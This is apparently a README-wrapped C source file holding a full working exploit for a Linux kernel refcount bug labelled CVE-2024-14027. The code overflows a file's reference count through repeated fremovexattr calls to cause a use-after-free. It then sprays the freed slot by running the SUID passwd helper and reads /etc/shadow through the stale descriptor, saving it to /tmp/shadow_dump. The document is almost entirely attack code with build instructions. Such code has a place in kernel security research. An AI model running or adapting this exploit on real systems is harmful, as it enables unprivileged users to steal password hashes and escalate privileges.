README.md
Rendering markdown...
/*
* CVE-2024-14027 Exploit
* fremovexattr fdput leak → refcount overflow → UAF → same-type object reuse
* Target: Linux 6.6.51 i386 (QEMU, no SMEP/SMAP, no KASLR)
*
* Strategy:
* 1. Create all pipes FIRST (so their struct files don't pollute cpu_slab)
* 2. Open target file, dup → f_count = 2 (on current cpu_slab)
* 3. clone(CLONE_FILES) for fdget slow path during overflow
* 4. Overflow f_count via fremovexattr bug
* 5. Fork spawner/closer BEFORE free (no new struct file allocs)
* 6. Free via closer+parent+spawner close sequence
* 7. Freed struct file stays on cpu_slab per-cpu freelist (key fix!)
* 8. passwd spray churns slab → /etc/shadow lands in freed slot
* 9. Sacrificial child checks stale fd via stat/inode match → reads shadow
*
* Monitoring pattern from CVE-2022-22942 (minipli):
* - stat() victim file to get dev/ino before exploit
* - Fork sacrificial child to probe stale fd (handles kernel oopses)
* - Child uses fcntl(F_GETFL) + fstat() + dev/ino compare
* - Parent survives oopses, retries with new child
*
* Compile: gcc -m32 -static -O2 -o exploit exploit.c
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/sysmacros.h>
#define TARGET_LEAKS 0xFFFFFFFEUL
#define SLACK 10000000UL
#define NUM_WORKERS 3
#define STACK_SIZE (64 * 1024)
#define VICTIM_FILE "/etc/shadow"
#define VICTIM_HELPER "/usr/bin/passwd"
#define NUM_PROCS 10
extern char **environ;
static volatile unsigned long leak_count;
static volatile int go;
static volatile int stop_workers;
static int target_fd;
static int dangling_fd;
static dev_t victim_dev;
static ino_t victim_ino;
static inline long fast_fremovexattr(int fd, const void *name)
{
long ret;
__asm__ volatile("int $0x80"
: "=a"(ret)
: "a"(237), "b"(fd), "c"(name)
: "memory");
return ret;
}
/* ------------------------------------------------------------------ */
/* Leak worker: tight fremovexattr loop */
/* ------------------------------------------------------------------ */
static int leak_worker(void *arg)
{
unsigned long local = 0;
int fd = target_fd;
(void)arg;
cpu_set_t all;
CPU_ZERO(&all);
for (int i = 0; i < 4; i++) CPU_SET(i, &all);
sched_setaffinity(0, sizeof(all), &all);
while (!go)
__asm__ volatile("pause");
while (!stop_workers) {
fast_fremovexattr(fd, (const void *)0x1UL);
local++;
if ((local & 0xFFFFF) == 0)
__sync_fetch_and_add(&leak_count, 0x100000);
}
__sync_fetch_and_add(&leak_count, local & 0xFFFFF);
_exit(0);
return 0;
}
/* ------------------------------------------------------------------ */
/* idle_fn: keeps fd table shared so fdget takes slow path */
/* ------------------------------------------------------------------ */
static int idle_fn(void *arg)
{
(void)arg;
for (;;) pause();
return 0;
}
/* ------------------------------------------------------------------ */
/* fd_closer: forked BEFORE free, closes inherited fds to trigger free */
/* ------------------------------------------------------------------ */
static void fd_closer(int ready_fd)
{
if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) < 0)
_exit(1);
close(target_fd);
close(dangling_fd);
write(ready_fd, "R", 1);
close(ready_fd);
for (;;) pause();
}
/* ------------------------------------------------------------------ */
/* passwd_spawner: continuously fork+exec "passwd -S" as root */
/* ------------------------------------------------------------------ */
static void passwd_spawner(int pipe_rd, int pipe_wr, int freed_wr)
{
char *argv[] = { VICTIM_HELPER, "-S", NULL };
int procs = 0;
char ch;
if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) < 0)
_exit(1);
/* Signal ready */
if (write(pipe_wr, "1", 1) <= 0)
_exit(1);
/* Wait for "go" signal */
if (read(pipe_rd, &ch, sizeof(ch)) <= 0)
_exit(1);
/* Close our refs to the target file → triggers __fput → slab freed */
close(target_fd);
close(dangling_fd);
/* Signal parent that we've freed the struct file */
write(freed_wr, "F", 1);
close(freed_wr);
/* Close stdio to minimize noise */
close(0); close(1); close(2);
for (;;) {
switch (fork()) {
case -1:
usleep(1);
break;
case 0:
execve(VICTIM_HELPER, argv, environ);
_exit(1);
default:
procs++;
}
if (procs >= NUM_PROCS) {
if (wait(NULL) > 0)
procs--;
while (waitpid(-1, NULL, WNOHANG) > 0)
procs--;
}
}
}
/* ------------------------------------------------------------------ */
/* check_fd: runs in sacrificial child, checks if stale fd is shadow */
/* ------------------------------------------------------------------ */
static void check_fd(void)
{
const int shadow_flags = O_RDONLY;
char buf[64 * 1024];
struct stat sb;
int flags;
for (;;) {
usleep(1);
/* passwd opens /etc/shadow with O_RDONLY */
flags = fcntl(dangling_fd, F_GETFL);
if (flags < 0 || (flags & O_ACCMODE) != shadow_flags)
continue;
if (fstat(dangling_fd, &sb) != 0)
continue;
if (sb.st_dev == victim_dev && sb.st_ino == victim_ino) {
ssize_t cnt = pread(dangling_fd, buf, sizeof(buf) - 1, 0);
if (cnt > 0) {
buf[cnt] = '\0';
/* Write to file first (survives kernel log noise) */
int out = open("/tmp/shadow_dump", O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (out >= 0) {
write(out, buf, cnt);
close(out);
}
printf("\n\n========================================\n");
printf(" SUCCESS! Read %s via stale fd %d (%zd bytes)\n",
VICTIM_FILE, dangling_fd, cnt);
printf("========================================\n\n");
printf("%s\n", buf);
printf("\n[+] Shadow data also saved to /tmp/shadow_dump\n");
_exit(0);
}
}
}
}
/* ------------------------------------------------------------------ */
/* Main */
/* ------------------------------------------------------------------ */
int main(void)
{
pid_t worker_pids[NUM_WORKERS];
pid_t idle_child;
setbuf(stdout, NULL);
printf("[*] CVE-2024-14027 exploit — PID %d\n", getpid());
printf("[*] Strategy: refcount overflow → UAF → slab reuse polling\n");
printf("[*] SLUB fix: pipes before target → freed slot stays on cpu_slab\n\n");
/* Verify SUID helper exists */
struct stat st;
if (stat(VICTIM_HELPER, &st) != 0) {
printf("[!] %s not found\n", VICTIM_HELPER);
return 1;
}
if (!(st.st_uid == 0 && (st.st_mode & 04111) == 04111)) {
printf("[!] %s is not SUID root (uid=%d mode=%o)\n",
VICTIM_HELPER, st.st_uid, st.st_mode);
return 1;
}
printf("[+] %s is SUID root\n", VICTIM_HELPER);
/* Gather stat info for victim file (dev/ino for check_fd match) */
{
struct stat vsb;
if (stat(VICTIM_FILE, &vsb) < 0) {
perror("[!] stat(" VICTIM_FILE ")");
return 1;
}
victim_dev = vsb.st_dev;
victim_ino = vsb.st_ino;
printf("[+] %s: dev=(%d,%d) ino=%lu\n", VICTIM_FILE,
major(victim_dev), minor(victim_dev), (unsigned long)victim_ino);
}
/* Pin to CPU 0 for consistent SLUB cpu_slab */
cpu_set_t cpu0;
CPU_ZERO(&cpu0);
CPU_SET(0, &cpu0);
sched_setaffinity(0, sizeof(cpu0), &cpu0);
/* ---- Phase 1: Create ALL pipes FIRST ----
* These allocate struct files from the filp slab cache.
* By doing this BEFORE opening the target file, the target's
* struct file will be allocated on whatever cpu_slab page is
* current AFTER these allocations. Then no more filp allocs
* happen until the target is freed, so the cpu_slab stays put. */
int spawn_pipes[2][2];
int closer_pipe[2];
int freed_pipe[2];
if (pipe(spawn_pipes[0]) < 0 || pipe(spawn_pipes[1]) < 0 ||
pipe(closer_pipe) < 0 || pipe(freed_pipe) < 0) {
perror("[!] pipe");
return 1;
}
printf("[+] All pipes created (8 struct files allocated from filp cache)\n");
/* ---- Phase 2: Open target file ----
* This struct file goes on the CURRENT cpu_slab.
* No more filp allocs will happen until this is freed. */
target_fd = open("/tmp/exploit_target", O_RDWR | O_CREAT | O_TRUNC, 0666);
if (target_fd < 0) { perror("[!] open"); return 1; }
dangling_fd = dup(target_fd);
if (dangling_fd < 0) { perror("[!] dup"); return 1; }
printf("[+] target_fd=%d dangling_fd=%d (f_count=2)\n", target_fd, dangling_fd);
/* Clone idle child for fdget slow path during overflow */
{
void *stack = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (stack == MAP_FAILED) { perror("[!] mmap"); return 1; }
idle_child = clone(idle_fn, (char *)stack + STACK_SIZE,
CLONE_VM | CLONE_FILES | SIGCHLD, NULL);
if (idle_child < 0) { perror("[!] clone idle"); return 1; }
}
/* ---- Phase 3: Overflow f_count ---- */
int fast_mode = (access("/tmp/fast_mode", F_OK) == 0);
if (fast_mode) {
printf("[*] FAST MODE enabled (/tmp/fast_mode exists)\n");
printf("[*] Doing 100 leaks to verify bug...\n");
for (int i = 0; i < 100; i++)
fast_fremovexattr(target_fd, (const void *)0x1UL);
printf("[*] f_count should be 102 now.\n");
printf("[*] Calling sync() — GDB: break __do_sys_sync, set f_count = 1\n");
fflush(NULL);
sync();
printf("[*] Continuing after GDB intervention...\n");
} else {
printf("[*] Spawning %d leak workers...\n", NUM_WORKERS);
for (int i = 0; i < NUM_WORKERS; i++) {
void *stack = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (stack == MAP_FAILED) { perror("[!] mmap"); return 1; }
worker_pids[i] = clone(leak_worker, (char *)stack + STACK_SIZE,
CLONE_VM | CLONE_FILES | SIGCHLD, NULL);
if (worker_pids[i] < 0) { perror("[!] clone worker"); return 1; }
}
unsigned long target_bulk = TARGET_LEAKS - SLACK;
printf("[*] Starting overflow: need %lu leaks (%.2fG)\n",
TARGET_LEAKS, TARGET_LEAKS / 1e9);
go = 1;
__sync_synchronize();
unsigned long last = 0;
while (leak_count < target_bulk) {
usleep(2000000);
unsigned long cur = leak_count;
double pct = 100.0 * cur / TARGET_LEAKS;
double rate = (cur - last) / 2.0 / 1e6;
unsigned long remaining = TARGET_LEAKS - cur;
double eta = (rate > 0) ? remaining / (rate * 1e6) : 9999;
printf("\r[*] %luM / 4294M (%.1f%%) %.1fM/s ETA %.0fs ",
cur / 1000000, pct, rate, eta);
last = cur;
}
stop_workers = 1;
__sync_synchronize();
for (int i = 0; i < NUM_WORKERS; i++)
waitpid(worker_pids[i], NULL, 0);
unsigned long done = leak_count;
printf("\n[*] Workers done: %lu leaks.\n", done);
if (done < TARGET_LEAKS) {
unsigned long remain = TARGET_LEAKS - done;
printf("[*] Finishing remaining %lu precisely...\n", remain);
for (unsigned long i = 0; i < remain; i++) {
fast_fremovexattr(target_fd, (const void *)0x1UL);
if ((i & 0xFFFFF) == 0 && i > 0)
printf("\r[*] precise: %luM / %luM ", i / 1000000, remain / 1000000);
}
printf("\r[*] Precise finish done (%luM leaks) \n", remain / 1000000);
} else {
unsigned long extra = done - TARGET_LEAKS;
unsigned long fixup = (0x100000000UL - extra) & 0xFFFFFFFFUL;
printf("[*] Workers overshot by %lu, doing %lu fixup leaks...\n", extra, fixup);
for (unsigned long i = 0; i < fixup; i++)
fast_fremovexattr(target_fd, (const void *)0x1UL);
}
}
/* Kill idle child → files->count drops to 1 → fast-path fdget */
kill(idle_child, SIGKILL);
waitpid(idle_child, NULL, 0);
printf("[*] Idle child reaped → fast-path fdget (files->count=1)\n");
printf("[+] %s complete. Proceeding to free + spray + poll\n",
fast_mode ? "GDB fast-forward" : "Overflow");
/* Phase 4: Fork spawner and closer BEFORE the free */
printf("[*] Forking passwd_spawner...\n");
pid_t spawner_pid = fork();
if (spawner_pid == 0) {
close(spawn_pipes[0][1]);
close(spawn_pipes[1][0]);
close(closer_pipe[0]);
close(closer_pipe[1]);
close(freed_pipe[0]);
passwd_spawner(spawn_pipes[0][0], spawn_pipes[1][1], freed_pipe[1]);
_exit(0);
}
if (spawner_pid < 0) { perror("[!] fork spawner"); return 1; }
/* Parent: close spawner's pipe ends */
close(spawn_pipes[0][0]);
close(spawn_pipes[1][1]);
close(freed_pipe[1]);
/* Wait for spawner ready */
char ch;
if (read(spawn_pipes[1][0], &ch, 1) != 1) {
printf("[!] spawner failed to signal ready\n");
kill(spawner_pid, SIGKILL);
return 1;
}
close(spawn_pipes[1][0]);
printf("[+] passwd_spawner ready (PID %d)\n", spawner_pid);
/* Fork fd_closer */
pid_t closer_pid = fork();
if (closer_pid == 0) {
close(closer_pipe[0]);
close(spawn_pipes[0][1]);
close(freed_pipe[0]);
fd_closer(closer_pipe[1]);
_exit(0);
}
if (closer_pid < 0) { perror("[!] fork closer"); return 1; }
close(closer_pipe[1]);
/* Wait for closer to finish closing its inherited fds */
char ready;
if (read(closer_pipe[0], &ready, 1) != 1) {
printf("[!] fd_closer failed to signal ready\n");
kill(closer_pid, SIGKILL);
return 1;
}
close(closer_pipe[0]);
/* Parent closes target_fd (keeps dangling_fd for polling) */
close(target_fd);
printf("[+] fd_closer done, parent target_fd closed.\n");
/* Signal spawner to go (it will close its fds → trigger free → start spray) */
printf("[*] Signaling spawner: close fds → free struct file → start spray\n");
write(spawn_pipes[0][1], "G", 1);
close(spawn_pipes[0][1]);
/* Wait for spawner to confirm struct file is freed */
char freed_ch;
if (read(freed_pipe[0], &freed_ch, 1) != 1) {
printf("[!] WARNING: spawner didn't signal freed (may still work)\n");
}
close(freed_pipe[0]);
printf("[+] Struct file freed! Spawner starting passwd spray on CPU 0\n");
/* Phase 5: Monitor stale fd in sacrificial subprocess
*
* Pattern from CVE-2022-22942: fork a child to probe the stale fd.
* If the child oopses (kernel NULL deref on stale pointers), only
* the child dies — parent survives and forks another.
* Child uses fcntl(F_GETFL) + fstat() to match against /etc/shadow
* dev/ino before attempting to read. */
printf("[*] Monitoring stale fd %d...", dangling_fd);
fflush(NULL);
for (;;) {
pid_t pid = fork();
int status;
switch (pid) {
case 0: check_fd(); /* never returns on success (_exit(0)) */
case -1: usleep(10);
continue;
}
if (waitpid(pid, &status, 0) < 0)
continue;
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
/* Child found and printed /etc/shadow */
kill(spawner_pid, SIGKILL);
kill(closer_pid, SIGKILL);
while (waitpid(-1, NULL, WNOHANG) > 0);
return 0;
}
putchar('+');
fflush(NULL);
}
}